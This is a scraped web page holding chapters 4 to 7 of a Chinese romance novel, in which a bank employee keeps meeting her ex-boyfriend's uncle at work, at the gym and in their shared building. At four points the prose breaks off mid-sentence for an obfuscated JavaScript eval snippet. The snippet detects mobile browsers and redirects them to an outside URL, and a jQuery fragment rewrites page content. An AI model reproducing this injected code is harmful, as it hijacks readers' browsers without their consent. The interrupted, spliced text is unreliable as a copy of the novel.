他们没能免俗,因为这些问题吵了许多次,最后一次通话,她终于忍不住说出了那几个字,不是“分手”,是“算了”。 电话那头沉默了很久,久到她以为他已经挂了,然后她听见他吸了一口气,像是想说什么,可最终什么都没说出口。 她挂断了电话。 她以为这次吵架也会像之前的每一次,等两个人都冷静下来,也就过去了,可她等了一天,一周,一个月,却再也没有等来林屿的任何消息,他就这样,从她的生活里消失了。 伤心了一阵子,她想明白了,两个人如果没有办法克服距离带来的那些问题,那就永远都要面临无休止的争吵,与其这样耗下去,不如,真的算了。 她删掉了林屿的微信,拉黑了他的电话,给这段恋情画上一个句号。 公交车报站的声音把她从回忆里拉回来,于宥宁眨了眨眼,才发现玻璃上蒙了一层薄薄的水汽,她抬手擦了一下,窗外是熟悉的街景,时间过的真快,已经过去大半年了。 银行工作不算复杂,但就是得领任务,尤其每年的一季度:开门红,所有银行人的噩梦。 于宥宁所在的网点是一家新网点,开业刚满两年,平常业务量不大,加班不多,算是全分行最清闲的网点之一。但有利就有弊,成立时间短,存量客户少,在这种冲任务的时候,就得出去拓展客户。 俗话说:一人入银行,全家跟着忙。 把家里亲朋好友全都发展为网点客户以后,如果还是完不成任务,就得下沉到周边小区去拓客了。 于宥宁运气算好的,因为长相出挑,嘴巴也甜,只在现金柜台待了半年就被调出去做大堂经理,不用整天闷在那扇防弹玻璃后头,至少能喘口气。 她围好围巾,从前台拿了一叠宣传单,再揣上自己的名片,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525882|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主管打了声招呼:“主管,我跟娟儿去菜市场发传单,大概一小时回。” 杨正咬了一口包子,闻言抬起头:“娟儿也去?” “早上没啥业务,我们俩就想出去发展点儿客户。”她笑得乖巧:“也是想咱们支行早点儿完成任务嘛。” “行吧,注意安全啊。” 于宥宁应了一声,挽着陈娟往外走。 陈娟摸出自己带的小面包,一边走一边往嘴里塞:“快快快,这边小区入住率太低了,就指着买菜这会儿人多。” 于宥宁拉着她的胳膊穿过马路,看她噎得直翻白眼,赶紧拍她的背:“你喝口水,别噎着了。” 陈娟灌了两口水,总算顺过气来,又咬了一口面包:“你怎么起那么早的呀?我实在起不来,不然也不用每天藏着吃早饭了。” “我睡得也早呀。” “哎,”陈娟拖长了调子,一脸哀怨:“我一到晚上就舍不得睡觉,就想多刷会儿手机,刷着刷着,十二点了;再刷着刷着,一点了,早上起来跟死过一次似的。” 于宥宁被她的形容逗笑了:“那你倒是早睡啊。” “做不到。”陈娟理直气壮:“手机比我男朋友还重要,我能跟男朋友分手,不能跟手机分手。” 两个人说说笑笑,也就到了菜市。 这边是榆阳新开发的区域,高档小区多,可入住率却低得可怜,一栋楼亮灯的窗户一只手都数得过来,都是买了房还没入住的投资客,人流量不大,他们想拓客不是来菜市就是去广场,广场傍晚人才多些,可谁都不想加班,只能早上早点儿出门,赶着大爷大妈买菜的时间点。 于宥宁把围巾往上拉了拉,遮住半张脸,只露出一双眼睛,冷风往脖子里灌,她缩了缩脖子,扬起笑脸迎上去:“阿姨,买菜呀?我们榆阳商行最近有活动,存款送菜籽油,您看看,” 发完一波传单,加了两个老太太的微信。 陈娟凑过来看了一眼她的手机屏幕,意味深长地笑:“你小心这两个老太太不是想来存钱,是想给你介绍对象哈。” 于宥宁白她一眼:“哪儿这么夸张,我加的大部分叔叔阿姨最后都是来支持了咱们业绩的。” “那是,你这小脸蛋儿往那儿一站,大爷大妈看着就喜欢。”陈娟撞了撞她的肩膀:“不过啊,你早点儿谈一个也好。” “啊?”于宥宁抬起头,一脸茫然。 “我听说,”陈娟压低声音,凑到她耳边:“领导又打算给你介绍了。” 于宥宁手里的传单一抖:“不是吧!” “什么不是。”陈娟撇撇嘴:“你这小模样,她能不好好儿利用?尽拿你做人情了,上回介绍那个是街道办书记家的外甥吧?这回不知道又是谁的儿子,所以我才说你早点儿谈一个也好,谈了她不就消停了。” 于宥宁无奈地叹了口气,肩膀垮下来,整个人像被霜打过的茄子:“娟儿啊,我的娟儿啊,你教教我要怎么做才能逃离这苦海。” 陈娟拍拍她的肩,一脸过来人的沧桑:“躲着呗。” “躲到什么时候是个头啊~”她瘪瘪嘴,上周五才去相了一个,这周怎么着都得让她歇一歇了。 5. 第 5 章 晃晃悠悠到中午,大家都去会议室吃午饭,于宥宁却独自溜出了门。 她们单位管中饭,请了餐厅炒菜送过来,荤素搭配,她不去,不是因为饭菜不好吃,是为了躲领导,免得她趁着午休时间,又聊上些和工作无关的事儿。 她拐进旁边小区门口的便利店,挑了一份咖喱饭,递给店员加热。趁着微波炉转动的间隙,她扭头望了一眼窗户边的吧台,还好,只有一个人,还有位置坐。 目光扫过微波炉上的倒计时,忽然觉得吧台那个背影有点儿眼熟,再一扭头:西服,今天是黑色西服。 鞋子呢? 她垂眸,黑色红底皮鞋,就是没有之前那双那么干净,鞋边沾了灰。 于宥宁愣了一下,不是吧? “你的饭好了。”店员端出盒饭,喊了她两声她都没听到,只好提高声量:“你好?你好!” 这一嗓子,喊醒了她,也喊醒了窗边的人。 林骁扭头。 四目相对的瞬间,他眯了眯眼,眼底闪过一丝意外,又很快压下去,变成那副淡淡的、让人看不透的模样。 于宥宁接过盒饭,条件反射地往门口走了一步,又顿住。 走什么走,倒显得她心虚似的。 这么一想,她转身走回到吧台,在他旁边隔开一个位置坐下。 林骁没说话,继续吃他的饭。 咖喱的香味飘过来,于宥宁打开自己的盒饭,拿勺子扒拉了两口,总觉得气氛有点微妙。 还是她先开了口:“这么巧,早上……不好意思啊。”她指的是早上在包子铺,自己那副疑神疑鬼的样子。 林骁勾了勾唇角,没看她:“嗯,是巧。”他顿了顿,慢条斯理地补了一句:“还好我比于小姐先到一步。” 于宥宁:“……” 她撅了噘嘴,低头戳了戳饭盒里的土豆,这么大个男人,怎么还兴记仇呀。 林骁把面前的热饮推过去,骨节分明的手指在吧台上轻轻一叩:“买一送一。” 她瞥了一眼他饭盒旁边的那杯,同款,还插着吸管。她道了声谢,捧过来捂手,才发现他吃的竟然也是咖喱饭。 两个人就这么默默吃饭,偶尔抬头看看窗外,便利店的玻璃擦得很亮,能看见对面的工地,塔吊转来转去,工人戴着安全帽走来走去,食客进进出出,买完东西就走,没有人坐到吧台这边来。 于宥宁咬着勺子,心想总不能就这么一直沉默下去吧,太刻意了。 她清了清嗓子,找了个安全的话题:“你们公司有项目在这边吗?” 林骁放下勺子,擦了擦嘴角,冲着右前方抬了抬下巴:“江湾公园,我们公司的项目。” “嗯~大项目呢。”她拧开饮料,喝了一口:“不过,老板要亲自监工吗?” 话一出口,她就后悔了。 这话听着怎么那么像试探? 林骁侧头看她一眼,眼神淡淡的,看不出情绪。 她赶忙摆手:“我不是那个意思,”她不是想问他是不是又来“偶遇”自己的,她才没有那么自恋,更何况,他都说不是因为林屿了。 “你也说是大项目了,”林骁收回视线,语气寻常:“多来看看才放心。” 说完,嘴角微微弯了一下,像是看穿了她的心思,又不打算戳破。 于宥宁低下头,专心扒饭。 林骁也没再说话。 好一会儿,林骁忽然开口,语气里带着点漫不经心的笑意:“于小姐,咱们住在同一个小区,工作地点也临近。” 于宥宁抬起头,等着他的下文。 他看着她,慢条斯理地补完后半句:“看来,以后会经常偶遇了。” 她没搭话,尴尬地抿了抿唇,垂下眼盯着手里的饮料杯。 这话让她怎么接? 说是吧,显得她真惦记着这事儿;说不是吧,又像在否认事实。 林骁看她那副模样,眼底的笑意深了一分,他把勺子放下,转过身来面对着她,姿态松弛,语气却认真了几分:“家里长辈都认识,现在又是楼上楼下,我要是不照顾着点儿,传回长辈耳朵里,像什么话。” 于宥宁抬眼看他:“知道了~”人家这想法也对,榆阳本来就小,能介绍他们相亲,说明两家拐着弯儿都是认识的,虽然没相中,但也不至于老死不相往来,是她格局小了。 她把最后一口饮料喝完,正准备起身,林骁忽然开口:“几点下班?” 于宥宁一愣:“啊?” “五点?还是五点半?” “五、五点……” 他点点头,把手机揣回兜里,站起来,顺手拿起她面前的空饭盒,连同自己的一起扔进门口的垃圾桶。 “那正好,”他走回来,低头看她:“搭个顺风车?给你算便宜点儿,起步价,七块。” 于宥宁眨眨眼,没忍住笑了出来。 这人递台阶的方式,还挺别致。 既然人家都把话说到这份上了,她再端着反倒显得小家子气,不如就顺着下,把早上的误会彻底翻篇。 “那就,麻烦林总了。” “客气。” 把话说开了之后,连步子都轻快了些,下午营业厅没什么人,安安静静的,她打了二十个营销电话,五点准时下班。 去更衣室拿包的时候,透过落地窗往外头的停车场瞟了一眼,没看到林骁。 她心里嘀咕了一下:人家说顺路送自己回家,应该也就是客气客气,毕竟连微信都没加,估计就这一趟吧,待会儿出去要是没见着人,她就还是坐公交算了。 几个小姑娘一齐出了门,等杨正锁门。 徐安忽然“哇塞”一声,紧接着一句:“好帅。” 后面几个就跟着探出脑袋,连正在锁门的杨正都忍不住回头。 于宥宁顺着她们的视线看过去,林骁已经站在他那辆奥迪旁边了,一只手闲闲地插在口袋里,正低头看手机。 像是感应到什么,他抬起头,往这边望了一眼。 “好帅呀。” “帅的我想去要微信了。” “这么帅,不可能单身,帅哥是没有空窗期的。” 大家你一言我一语,叽叽喳喳。 于宥宁抿了抿唇,硬着头皮往外走。 见她出来,林骁绕过车头,走到副驾那边,拉开车门,一双眼睛直直地望着她,来接谁的不言而喻。 身后的同事们瞬间沸腾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525883|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“宥宁,这是你男朋友吗?” 她赶忙摇头:“不是不是。” 陈娟一把扯住她的衣袖,笑得意味深长:“哎呀你别害羞嘛!”然后一个劲儿地冲她眨眼,扬声道:“领导呢?领导不是还在楼上?这么帅的大帅哥,怎么能不让领导也下来欣赏欣赏?” 于宥宁秒懂陈娟的意思,让领导看看她有“情况”了,省得老给她介绍对象。 可人家林骁还在旁边站着呢。 “走了走了,拜拜拜拜啊。”她红着耳朵钻进了副驾。 等车子驶出停车场,她才松了一口气,侧过脸看向林骁,语气里带着点歉意:“不好意思啊,我同事们就是……比较热情。” 林骁目视前方,嘴角微微弯了一下:“是我该抱歉,出于礼貌想给你开车门,没想到引起误会了。” 于宥宁偏过脑袋看他,他双手握着方向盘,眼睛直视前方,语气真诚,从这几次的交谈看,他确实很有礼貌,也很绅士,透着股让人舒服的、恰到好处的分寸感。 这句过后,一个专心开车,一个看看窗外、刷刷手机,车厢里安静得只剩下空调出风口的轻响。 等车子驶过老城区的地标建筑“马踏飞燕”,林骁才开口,语气随意,聊聊家常:“你是和叔叔阿姨一起住吧?” “是呀。”于宥宁点点头,收起手机。 “挺好,我父母搬去江映溪谷之后,家里就剩我一个,冷清得很。” “独居也有独居的好处,不用被管着,可以晚归,还可以随便吃外卖。” “呵~回家就有人做好了饭等你还不好?” “也是哈,尽享福了。”于宥宁顺着话茬问下去:“那你呢?自己做饭吗?” “对,自己做。” 她有些意外,抬眼看他:“没想到呢,林总居然亲自下厨。” 林骁侧过脸瞥她一眼,嘴角微微勾起,那笑意从唇角漫到眼底:“怎么?看着不像会拿锅铲的?” 于宥宁愣了一下。 就是这个笑,像,又不像。 眉眼弯起的弧度像,可眼底的东西不一样,林屿笑起来像个没心没肺的大男孩,眼睛亮亮的,什么情绪都写在脸上。而眼前的林骁,笑意底下藏着点什么,她看不透。 可就是那点“像”,陡然让她想起林屿,想起他们在一起的那些时光:快乐,甜蜜,难忘。 即使已经过去大半年,即使她一直觉得自己是个理性的人,可想起来,心里还是会软软地塌下去一块。 不是疼,是那种说不清的、闷闷的涩。 林屿对她,是真的很好。 她收敛了笑意,垂下眼眸。 天光散尽,路灯一盏盏亮起,一盏盏后退。 林骁以前在队里干过侦查,敏感度比一般人高出太多,几乎是同时,他就意识到了什么。 他不动声色地收回视线,手指在方向盘上轻轻叩了一下,语气自然地换了个话题:“对了,我昨天只找到电卡和气卡,没找到水卡,这儿的水费是去物业交?” 于宥宁回过神,眨了眨眼,思绪被拉了回来:“嗯,交了物业费才让交水费。” 林骁轻轻嗤了一声:“这物业公司,倒是给自己留了一手。” 6. 第 6 章 停好车两个人一起上楼,在他家门口道别,于宥宁打开家门果然妈妈已经做好了晚饭。 她洗了手出来,爸妈已经把饭都舀好了,第一块糖醋排骨,照例落在她碗里。 “谢谢爸爸~”于宥宁冲爸爸笑笑,咬了一口,忽然想起楼下的林骁,这时候,他该在厨房做饭吧。 “妈妈,”她咽下排骨,装作随口一问:“楼下李叔叔一家是不是搬到江映溪谷了?” “是呀,买的联排,底楼一个大花园,噢哟,漂亮得很呢。” “嘿嘿,”于宥宁眨眨眼:“羡慕了哇?” “这有什么好羡慕的,”妈妈白她一眼:“等你结婚了,妈妈也给你买个大房子。” “哦哟哟,”于宥宁拖长调子:“还要等结婚才买,那是买给我住的还是买给你女婿住的?” “那肯定买给你的呀,到时候全款买一个,你的婚前财产!” 于成军在旁边点头附和:“你妈妈说得对,以后成了家,钱得拿在自己手里才放心。” “我才懒得管,”于宥宁撇嘴:“麻烦死了。” 于成军又给她夹一块排骨,语重心长:“诶,傻女儿,钱肯定得放自己手里的,男人有钱就变坏,至于事情嘛,就交给你老公做就行了,这一点,你要多跟你妈妈学。” 于宥宁咬着排骨,笑嘻嘻地盯着爸爸:“爸爸,你这是在自夸吧?钱都给妈妈了,事情都是你做了,啧啧,怎么听起来这么像在给自己脸上贴金呢?” “吃饭都堵不住你的嘴。”于成军佯装生气地瞪她一眼,眼底却全是笑意。 楼下402。 林骁关上门,换好拖鞋,把钥匙扔在鞋柜上,发出一声轻响。 冰箱门拉开,冷藏室的灯光照亮他的脸,排骨是昨天买的,还裹着保鲜膜,他拿出来,放在案板上,又转身从橱柜里翻出姜蒜和冰糖。 刀刃落下,排骨被均匀地斩成小段。 冷水下锅,焯水,撇去浮沫,他站在灶台前,看着那些灰白色的泡沫在水面聚拢又散开,眼神有些放空。 锅里重新热油,冰糖入锅,小火慢炒,琥珀色的糖浆在锅底泛起细密的泡泡,他把沥干的排骨倒进去,翻炒,上色,每一块都裹上晶亮的糖衣。 姜片,蒜瓣,生抽,老抽,料酒,热水没过排骨,盖上锅盖,调小火,静待二十分钟。 他拉开阳台门,坐到小板凳上点燃一支烟,不知道是哪家正在做饭,飘来鲜香味儿,一支烟燃尽,天光也彻底消散,小区的路灯昏黄,他听着楼下不时传来的交谈声,狗吠声,老小区就是这样,隔音不好,却偏偏听不见楼上的声音。 抬腕看了眼时间,他重新返回厨房,看着灶台上那簇蓝色的火苗舔着锅底,抽油烟机嗡嗡地响,他没有开电视,也没有看手机,只是站着、等着,偶尔掀开锅盖看一眼,汤汁收得差不多了,排骨煨得酥烂,酱红色泛着油光,他撒上一把白芝麻,关火,装盘。 九块排骨,整整齐齐码在白瓷盘里。 他端到餐桌上,坐下,夹起一块,送进嘴里。 糖醋口,酸甜适中,肉质软烂脱骨,这是他第三次做这道菜,味道不比饭店差,只是不知道她会不会喜欢。 手机安静地躺在茶几上,黑着屏幕,电视也黑着,窗外的万家灯火透过纱帘漏进来,落在他的侧脸上,明明灭灭。 他又夹起一块,咀嚼,吞咽,偌大的餐桌只坐了他一个人,吃到第三块的时候,他忽然想起什么,抬头往天花板看了一眼。 502,她应该也在吃饭吧,会不会又是吃的排骨? 他垂下眼,嘴角微微弯了一下,弧度很淡,淡得几乎看不出来,可眼底却有什么东西沉沉的。 继续吃,排骨还剩两块。 周二,他去了趟普华,签个合同,也顺便跟着父亲去认识些生意上的朋友,一顿接一顿的大酒喝下去,周六才返回榆阳。 车子一停好,他连行李箱都没往上拎,急匆匆换了身运动服就往健身房去。 迫不及待! 这家24小时健身房就在旁边商圈的四楼,楼下三层全是教育培训机构,于宥宁每周三、周六固定来。 电梯门打开,他小跑进去,还好,她还在。 林骁不动声色地扫了一眼全场,选了最边上那台跑步机,角度刚好,不会太刻意,又能从落地窗的倒影里看见她。 快走五分钟,他把速度调到6,开始慢跑。 落地窗上倒映着她的背影,她正在龙门架练背,白色运动外套配黑色瑜伽裤,马尾辫随着动作一甩一甩,旁边站了个男的,和她交替使用器械。 林骁眯了眯眼。 那男的光穿一件背心,肱二头肌恨不得炸出来,每次她做完一组,他就凑上去说点什么,她偶尔侧过身子,能看到她竟然在笑。 他把速度调到8。 最后一组高位下拉完成,于宥宁捏了捏自己的大臂,长出一口气:“哎呀,终于练完了。” “今天只练上肢吗?”背心男立刻凑上去:“如果要练臀腿,我可以给你辅助。” “谢了,”于宥宁擦了把汗,笑得礼貌又疏离:“还是循序渐进的好。” 她拿上毛巾和水杯往跑步机方向走。 背心男跟上来:“我姓马,他们都叫我Jack。” 她礼貌地笑笑,脚步没停。 “上上周末我看你也来了的,”Jack马亦步亦趋:“那天好像就是练的臀吧?不过你硬拉的姿势不是很标准,这种上重量的动作很容易受伤,要不加个微信吧?下次可以约着一起,我帮你辅助。” “我认识这儿的健身教练,她会带我的,就不麻烦你了。” “……”Jack马一路跟到跑步机区域:“你叫什么名字?” 于宥宁擦了擦额头上的汗,手一放下来,视线正好扫过最边上的跑步机,林骁? 他正在跑,戴着耳机,目视前方,看起来专注得很。 她犹豫了一秒,还是挥了挥手,林骁却没反应,像是没注意到她。 “不好意思啊,”她微微侧身,冲Jack马点了点头:“我去跟我朋友打个招呼。” 说完,她径直走向那台跑步机:“林骁!” 林骁这才像刚发现她似的,摘下耳机,脚步放慢:“你也来健身?”语气里带着恰到好处的意外。 “是呀,”于宥宁站上他旁边那台跑步机,开始调参数:“没想到你也会来这种社区健身房。” “步行十分钟,方便。” “这倒是。” 她按下开始键,开始爬坡,余光里,那位Jack马还站在不远处,往这边张望。 林骁顺着她的视线看了一眼,又收回目光,拿起毛巾擦了擦汗,语气随意:“需要帮忙吗?” “不用不用,”于宥宁连忙摆手:“人家也是热心肠,刚还纠正我动作了。”就是她不太喜欢加陌生人微信,后面这句她没说出口。 林骁看了她一眼,没多问,只说了两个字:“理解。” 他关了自己的跑步机,站到她旁边,伸手替她按了两下控制面板上的坡度,很自然的动作,像是顺手帮忙,然后他扶着跑步机的把手,站在那里,有一搭没一搭地看着她屏幕上的数字。 就那么站了一会儿,于宥宁再抬头时,发现Jack马已经不见了。 她侧过脸,和林骁对视一眼,两个人都没说话,可眼神里的那点意思,彼此都懂。 于宥宁忽然想起上周的事,那天林骁顺路从单位接她回家以后,隔天单位就传开了,说她交了一个很帅的男朋友,她否认了,没用,大家看她的眼神都带着点暧昧的笑,但领导倒是真没再提给她介绍对象的事,再加上今天这事儿……她忽然觉得,林骁的出现,好像确实帮她挡掉了一些不必要的“桃花”。 “那我先过去练器械了。”林骁把毛巾搭在肩上。 “行。” 林骁离开后,她掏出手机,打开脱口秀,爬坡枯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525884|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燥又无聊,听听喜剧打发时间最合适了。 四十分钟很快过去,她摘下耳机,取下挂在脖子上的毛巾,身上已经汗湿透了,水珠顺着脸颊滚落,她调慢速度,平复心跳,仰头喝水。 水壶挪开的一瞬,视线无意间扫过落地窗,窗玻璃上倒映着身后的龙门架,林骁正吊在单杠上,做引体向上。 他把运动服脱了,赤裸着后背。 于宥宁的目光像被什么勾住,一时没收回来。 他肩膀好宽,背阔肌从腋下延伸下来,脊柱两侧的竖脊肌微微隆起,随着动作牵动出深浅有致的沟壑,一直收束进紧窄的腰线,很标准的倒三角,再往下…… 她飞快地移开视线,喝水喝水。 可眼睛不受控制,又飘了回去。 也不知道他到底做了多少个,于宥宁觉得自己只是看了一会儿,胳膊都跟着发酸了,林骁才终于落了地。 他落地的时候,后背的肌肉轻轻震颤了一下,汗珠顺着脊柱的沟壑往下滑,消失在运动裤的边缘。 她收回目光,擦了擦汗,拿上水杯准备打道回府,路过龙门架,礼貌性地冲林骁点了点头。 林骁也点了点头。 就在她准备错身而过的时候,林骁忽然像是想起什么,抬手捂住了自己的胸口,那动作带着一股突兀的慌忙,像是被人撞见了什么不该被看到的秘密,他飞快地抓起挂在架子上的运动服,三两下套上,遮住了方才还袒露着的身体。 于宥宁一怔,他……在干嘛? 那动作太急了,运动服套到一半卡在肩膀上,他拽了两下才扯下来。整套动作行云流水,却给人一种“此地无银三百两”的笨拙感,和他平日里那副沉稳从容的样子判若两人。 看她停下脚步,他垂下眼将衣摆拉平整,这才像松了口气,再次抬眸看她的时候,语气里带着点不自然的解释:“抱歉,今天忘记带毛巾了,所以才脱了衣服擦汗。” 他在跟自己解释?解释什么?又为什么?于宥宁眨眨眼,一时没反应过来。 就这三秒钟的功夫,她脑子里闪过刚才瞥见的那一幕:蓬勃的胸肌,块垒分明的腹肌,人鱼线深深嵌在腰侧,被运动裤的边缘堪堪遮住。 不得不说,身材是真好,她健身也一年了,除了让身体更健康以外,看不出一点健身痕迹。 林骁捏着衣角,垂着眼,看起来竟然有些扭捏:“公众场合,还是不该光膀子,不雅观。” 于宥宁这才反应过来,人家是觉得在公共场合光膀子不合适,怕她误会他是个没素质的人,所以才特意解释。 她就说嘛,他干嘛要特意跟自己说这些,健身房里有的是光膀子锻炼的,有的甚至故意把上衣脱了对着镜子拍视频,谁会在意多看他一眼? “我先走了,”她礼貌地笑笑:“你加油。” “好,路上注意安全。” “嗯。” 按下电梯按钮的时候,她脑子里忽然冒出一个念头:他倒是挺有礼貌的,或者说,挺讲“男德”。 林屿也锻炼,他喜欢打篮球,很少去健身房,他的身材是那种穿上衣服显得清瘦、脱了才能看到肌肉线条的类型,不像林骁,即使穿着宽松的运动T恤,肩膀和胸口的轮廓也撑得布料绷紧。 她想起林屿打球的样子,投篮特别准,尤其擅长灌篮,有时候三步上篮,把球扣进去以后就会握住篮筐边缘做几个引体向上,赤裸的后背上,肌肉随着动作一张一弛,宽阔的肩膀衬得腰格外细,像是一个完美的倒三角。 但其实是不细的,她双手环抱过,刚好一圈,满满当当的。 他从篮筐上跳下来的时候,会冲她笑一下,露出那排整齐的白牙,眼睛特备亮。 电梯门打开,她却侧目最后再瞥了一眼林骁的方向,他今天也是练上肢,目光专注地落在自己的动作上,表情认真而克制。 连她自己也不知道,到底为什么要再看他这一眼。 他说了,他不是因为林屿才出现的。 7. 第 7 章 等于宥宁离开,林骁这才正式开始训练:卧推、哑铃,想起她刚才瞥见自己胸口时飞快移开的眼神,他把重量加到最大,嘴角的笑意也更深,他比她大六岁,保持好身材,总归能多一个吸引她的资本。 星期天,于宥宁睡足美容觉,发小叶可欣终于出差归来,两个女孩子约好一块儿去美个容、推个拿,再美美吃上一顿。 从美容院出来,两个人都精神抖擞,于宥宁看着叶可欣脸上的红印:“你这都成这样了,能吃火锅吗?” “包能的!” “我是受不了这苦的,啧啧。” 叶可欣最近加班熬夜,内分泌失调,下巴和额头爆痘,刚做完清洁,痘痘是没了,全剩大红印子。 “你呀,真该好好谢谢叔叔阿姨,把你生得天生丽质,少遭多少罪。”两个女孩儿说说笑笑进了停车场。 叶可欣开车带她去新开的那家网红火锅店,说是重庆老板开的,贼正宗。 “鸡爪、肥牛、火腿肠。”于宥宁熟练地点菜。 叶可欣勾菜单的笔一顿:“火腿肠?隔壁桌小孩儿都不吃这个。” “我就爱吃!”于宥宁摇头晃脑:“再要一碗冰汤圆,少放点汤圆。” “冰汤圆少要汤圆,鱼丸粗面不加面,异曲同工。” “叶可欣,你就怼我吧,你也就只能怼怼我了,见了你老板就怂了。” 叶可欣飞快勾好菜单,头也不抬:“再来两瓶啤酒。” 于宥宁叫住服务员:“算了,酒先不要。” “让我喝嘛,喝了好睡觉。” “不要不要,就这样先上菜吧。”她送走服务员:“怎么的?老板又给你气受了?” “那倒没有,经过这段时间的磨合吧……我觉得他好像,也还行。” “哟,怎么出个差就从周扒皮变成‘也还行’了?” “嗨,之前不是不了解嘛,人嘛,还是得处,感情都是处出来的。” “已经有感情啦?” “想屁吃!” 叶可欣在车企市场部,经常跟部门总监出差,这位总监是去年秋天调来的,根据叶可欣此前的描述,是个严肃、认真、不苟言笑的工作狂,没情趣得很,跟他出差什么事都是一板一眼。 “所以呢,发生了什么让你改观这么大?” “也没什么,以前觉得他太较真,现在看也可以说是严谨。”叶可欣撑着下巴回忆:“上周出差,我汇报材料有个地方写错了,是他发现的,他什么也没说,默默帮我改了,还教我怎么改更清楚,然后,我上周来例假,状态特别差,他居然去超市帮我买了红糖姜茶,还挺细心的。” 于宥宁听完,慢悠悠喝了一口饮料,语气像老中医把完了脉:“我看出来了,有情况。” 叶可欣心虚地瞥她一眼,企图转移话题:“少来啊,你才是那个桃花不断的,我走这么长时间,你就一朵都没开?你家里给你介绍那个怎么样了?也没见你给我讲讲。” 这下换成于宥宁心虚了,她们俩无话不谈,偏偏这件事她还没告诉叶可欣。林骁和林屿,小叔和侄子,这要是说了,得被叶可欣笑半年,她能拿这事儿编排自己八百回合。 “你妈妈审核过的,总不能像你们单位领导介绍的那样吧。”叶可欣说的是年前那桩糗事,领导给她介绍客户的儿子,实在难以评价,摆明了拿她去套近乎。 “说起这个,我跟你讲。”于宥宁不自觉压低声音:“那天在单位旁边碰到我妈介绍那个相亲对象,人家挺有礼貌的,说要送我回家,就在单位门口等我,结果被我同事撞上了,那之前我领导还想给我介绍来着,撞上之后就没提了。” “你那个同事,陈娟,不是跟你提过让你把戒指带回去嘛,少多少事儿。”叶可欣一语带过,随即反应过来:“等等,在你单位碰上?有礼貌的送你回家?” 于宥宁悻悻的摸了摸鼻子:“不是跟你说是工程男了嘛,项目就在我们单位旁边那个公园,中午吃饭碰上的。” “中午吃饭碰上,下午去单位接你,估计是对你有点儿意思。” “没有吧,人家只是出于礼貌,后面再没联系,微信都没加。” “没加微信?”叶可欣挑眉:“那吃饭那天送你回家没?” 于宥宁摇头。 “哟,还有对咱们于大美人不为所动的?”叶可欣来劲了:“这个工程男很不一般啊,该不会是个弯的吧?” “你看,你还是太以貌取人。” “怎么着,就不准许我喜欢漂亮小姑娘了?”叶可欣说着,伸手去勾她的下巴。 这顿饭吃了整整两个小时,两个人把这没见面的大半个月里发生的事聊了个遍。从叶可欣出差遇到的各种奇葩客户,到她老板那个“从周扒皮到也还行”的微妙转变,再到于宥宁那个连微信都没加的相亲对象,一直到九点,叶可欣才开车送她回去。 车子停稳,于宥宁下了车,冲车里挥挥手:“到了到了,你慢点开。” “知道啦,上去吧!” 目送车尾灯消失在拐角,她才转身上楼。 路过402的时候,她下意识瞥了一眼,棕红色的防盗门上头,那些乱七八糟的小广告被铲得干干净净,露出一块块深浅不一的印记。 林屿可没这么爱干净,他舍友以前还调侃过他,袜子内裤堆一堆,没得穿了才洗,现在去了部队,不知道是不是还那样。 她收回视线,往楼上走。 而此时的402里,林骁正坐在书房,桌上摊着一本《工程项目管理实务》,旁边还压着几本:《建设工程法规及相关知识》《合同管理与风险控制》。 退伍回来接手家里的工程公司,虽说从小耳濡目染,但真坐到这个位置上,他才发现要补的课比想象中多。 白天跑工地、见甲方,晚上回来啃书,已经成了这三个月的常态。 三月的第一周,于宥宁所在的支行存款数据依旧排全行倒数。 晨会上,行长把每个人的业绩拉出来“审判”,虽然于宥宁的数据排在第一,可领导总有自己的一套话术:“你能做到第一,那是支行给了你平台,给了你资源,你作为大堂经理,就是比别的同事有更多机会接触到客户,这点你要清楚,不是你能干,是位置给你了。” 一句话,把她的付出贬的一文不值,于宥宁垂着眼,没吭声。 她从不自诩多有上进心、多能卷,但她自认是个有责任心的人。该她这个岗位做的工作,需要她完成的业绩,她从来都是认认真真、矜矜业业做完的。这会儿被说成这样,说不上多委屈,就是堵得慌。 散会后,陈娟挽着她的手下楼,压着嗓子:“哎,李行长永远都是这套,打压员工,否定你的价值,别太往心里去,只可恨咱们的绩效她有权分配,人在屋檐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 